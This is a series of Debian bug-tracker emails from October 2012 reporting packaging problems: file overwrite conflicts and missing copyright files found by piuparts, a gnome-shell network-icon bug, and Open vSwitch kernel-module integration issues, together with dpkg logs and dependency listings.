Package: libroot-proof-dev Version: 5.34.02-1~exp1 Severity: serious User: debian...@lists.debian.org Usertags: piuparts Control: affects -1 + libroot-proof-proofplayer-dev Hi, during a test with piuparts I noticed your package fails to upgrade from 'sid' to 'experimental'. It installed fine in 'sid', then the upgrade to 'experimental' fails because it tries to overwrite other packages files without declaring a Breaks/Replaces relation. See policy 7.6 at http://www.debian.org/doc/debian-policy/ch-relationships.html#s-replaces From the attached log (scroll to the bottom...): Preparing to replace libroot-proof-dev 5.34.00-1 (using .../libroot-proof-dev_5.34.02-1~exp1_amd64.deb) ... Unpacking replacement libroot-proof-dev ... dpkg: error processing /var/cache/apt/archives/libroot-proof-dev_5.34.02-1~exp1_amd64.deb (--unpack): trying to overwrite '/usr/include/root/TProofOutputFile.h', which is also in package libroot-proof-proofplayer-dev 5.34.00-1 Preparing to replace libroot-proof5.34:amd64 5.34.00-1 (using .../libroot-proof5.34_5.34.02-1~exp1_amd64.deb) ... Unpacking replacement libroot-proof5.34:amd64 ... Preparing to replace libroot-proof-proofplayer-dev 5.34.00-1 (using .../libroot-proof-proofplayer-dev_5.34.02-1~exp1_amd64.deb) ... Unpacking replacement libroot-proof-proofplayer-dev ... cheers, Andreas libroot-proof-proofplayer-dev_5.34.02-1~exp1.log.gz Description: GNU Zip compressed data
Bug#691436: gnome-shell: network icon in tray shows disconnected even when connected
On Thu, Oct 25, 2012 at 12:47 PM, Pranith Kumar debian...@gmail.com wrote: Package: gnome-shell Version: 3.4.2-2 Severity: normal Dear Maintainer, the network icon shows disconnected status even when it is connected using ethernet. A screenshot will follow. -- System Information: Debian Release: wheezy/sid APT prefers testing APT policy: (200, 'testing') Architecture: amd64 (x86_64) Kernel: Linux 3.2.0-3-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages gnome-shell depends on: ii dconf-gsettings-backend [gsettings-backend] 0.12.1-2 ii gconf-service3.2.5-1+build1 ii gir1.2-accountsservice-1.0 0.6.21-6 ii gir1.2-atk-1.0 2.4.0-2 ii gir1.2-caribou-1.0 0.4.4-1 ii gir1.2-clutter-1.0 1.10.8-2 ii gir1.2-cogl-1.0 1.10.2-6 ii gir1.2-coglpango-1.0 1.10.2-6 ii gir1.2-folks-0.6 0.6.9-1+b1 ii gir1.2-freedesktop 1.32.1-1 ii gir1.2-gconf-2.0 3.2.5-1+build1 ii gir1.2-gcr-3 3.4.1-3 ii gir1.2-gdesktopenums-3.0 3.4.2-1 ii gir1.2-gdkpixbuf-2.0 2.26.1-1 ii gir1.2-gee-1.0 0.6.4-2 ii gir1.2-gkbd-3.0 3.4.0.2-1 ii gir1.2-glib-2.0 1.32.1-1 ii gir1.2-gmenu-3.0 3.4.2-3 ii gir1.2-gnomebluetooth-1.03.4.2-1 ii gir1.2-gtk-3.0 3.4.2-4 ii gir1.2-json-1.0 0.14.2-1 ii gir1.2-mutter-3.03.4.1-5 ii gir1.2-networkmanager-1.00.9.4.0-6 ii gir1.2-pango-1.0 1.30.0-1 ii gir1.2-polkit-1.00.105-1 ii gir1.2-soup-2.4 2.38.1-2 ii gir1.2-telepathyglib-0.120.18.2-2 ii gir1.2-telepathylogger-0.2 0.4.0-1 ii gir1.2-upowerglib-1.00.9.17-1 ii gjs 1.32.0-2 ii gnome-bluetooth 3.4.2-1 ii gnome-icon-theme-symbolic3.4.0-2 ii gnome-settings-daemon3.4.2+git20120925.a4c817-1 ii gnome-shell-common 3.4.2-2 ii gnome-themes-standard3.4.2-2 ii gsettings-desktop-schemas3.4.2-1 ii libatk1.0-0 2.4.0-2 ii libc62.13-35 ii libcairo-gobject21.12.2-2 ii libcairo21.12.2-2 ii libcanberra0 0.28-5 ii libclutter-1.0-0 1.10.8-2 ii libcogl-pango0 1.10.2-6 ii libcogl9 1.10.2-6 ii libcroco30.6.6-1 ii libdbus-1-3 1.6.8-1 ii libdbus-glib-1-2 0.100-1 ii libebook-1.2-13 3.4.3-1 ii libecal-1.2-11 3.4.3-1 ii libedataserver-1.2-163.4.3-1 ii libedataserverui-3.0-1 3.4.3-1 ii libffi5 3.0.10-3 ii libfolks25 0.6.9-1+b1 ii libgck-1-0 3.4.1-3 ii libgconf-2-4 3.2.5-1+build1 ii libgcr-3-1 3.4.1-3 ii libgdk-pixbuf2.0-0 2.26.1-1 ii libgee2 0.6.4-2 ii libgirepository-1.0-11.32.1-1 ii libgjs0b [libgjs0-libmozjs185-1.0] 1.32.0-2 ii libgl1-mesa-glx [libgl1] 8.0.4-2 ii libglib2.0-0 2.33.12+really2.32.4-2 ii libgnome-keyring03.4.1-1 ii libgnome-menu-3-03.4.2-3 ii libgstreamer0.10-0 0.10.36-1 ii libgtk-3-0 3.4.2-4 ii libical0 0.48-2 ii libjson-glib-1.0-0 0.14.2-1 ii libmozjs185-1.0 1.8.5-1.0.0+dfsg-3.1 ii libmutter0 3.4.1-5 ii libnm-glib4 0.9.4.0-6 ii libnm-util2 0.9.4.0-6 ii libnspr4 2:4.9.2-1 ii libnspr4-0d
Bug#691436: gnome-shell: network icon in tray shows disconnected even when connected
On 25.10.2012 19:09, Andev wrote: On Thu, Oct 25, 2012 at 12:47 PM, Pranith Kumar debian...@gmail.com wrote: Package: gnome-shell Version: 3.4.2-2 Severity: normal Dear Maintainer, the network icon shows disconnected status even when it is connected using ethernet. A screenshot will follow. This means you are not managing your network with network-manager. -- Why is it that all of the instruments seeking intelligent life in the universe are pointed away from Earth? signature.asc Description: OpenPGP digital signature
Bug#691438: openvswitch packages do not work well together with upstream's kernel module
Package: openvswitch Severity: important As you are certainly aware, Open vSwitch is included upstream since kernel 3.3. Post-Wheezy kernels also enable CONFIG_OPENVSWITCH in pristine Debian kernel builds (see #675010). However, the Debian packages do not work well together with this upstream module. Generally, your user space daemons do support the kernel module but your packaging (in particular the init script) makes it really hard not to use your package without the DKMS module you ship as well. Moreover, the brcompat module does not seem to work together with the kernel module upstream (i.e. not the DKMS module from your source package). Is there a way to get these working together? For Post-Wheezy this may become more critical as you may want to stop shipping the DKMS/kernel module source at some point. -- System Information: Debian Release: wheezy/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 3.5-trunk-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691439: libfreeipmi12: copyright file missing after upgrade (policy 12.5)
Package: libfreeipmi12 Version: 1.1.5-4 Severity: serious User: debian...@lists.debian.org Usertags: piuparts Hi, a test with piuparts revealed that your package misses the copyright file after an upgrade from squeeze to wheezy, which is a violation of Policy 12.5: http://www.debian.org/doc/debian-policy/ch-docs.html#s-copyrightfile After the upgrade /usr/share/doc/$PACKAGE/ is just an empty directory. From the attached log (scroll to the bottom...): (output from 'ls -lad /u/s/d/$PKG' and 'ls -la /u/s/d/$PKG/') MISSING COPYRIGHT FILE: /usr/share/doc/libfreeipmi12/copyright drwxr-xr-x 2 root root 40 Oct 22 04:22 /usr/share/doc/libfreeipmi12 total 0 drwxr-xr-x 2 root root 40 Oct 22 04:22 . drwxr-xr-x 77 root root 1620 Oct 22 04:22 .. Additional info may be available here: http://wiki.debian.org/MissingCopyrightFile cheers, Andreas libfreeipmi12_1.1.5-4.log.gz Description: GNU Zip compressed data
Bug#691440: apache2-suexec: copyright file missing after upgrade (policy 12.5)
Package: apache2-suexec Version: 2.4.2-2 Severity: serious User: debian...@lists.debian.org Usertags: piuparts Hi, a test with piuparts revealed that your package misses the copyright file after an upgrade from squeeze to wheezy, which is a violation of Policy 12.5: http://www.debian.org/doc/debian-policy/ch-docs.html#s-copyrightfile After the upgrade /usr/share/doc/$PACKAGE/ is just an empty directory. From the attached log (scroll to the bottom...): (output from 'ls -lad /u/s/d/$PKG' and 'ls -la /u/s/d/$PKG/') MISSING COPYRIGHT FILE: /usr/share/doc/apache2-suexec/copyright drwxr-xr-x 2 root root 40 Oct 22 03:29 /usr/share/doc/apache2-suexec total 0 drwxr-xr-x 2 root root 40 Oct 22 03:29 . drwxr-xr-x 102 root root 2140 Oct 22 03:29 .. Additional info may be available here: http://wiki.debian.org/MissingCopyrightFile cheers, Andreas apache2-suexec_2.4.2-2.log.gz Description: GNU Zip compressed data
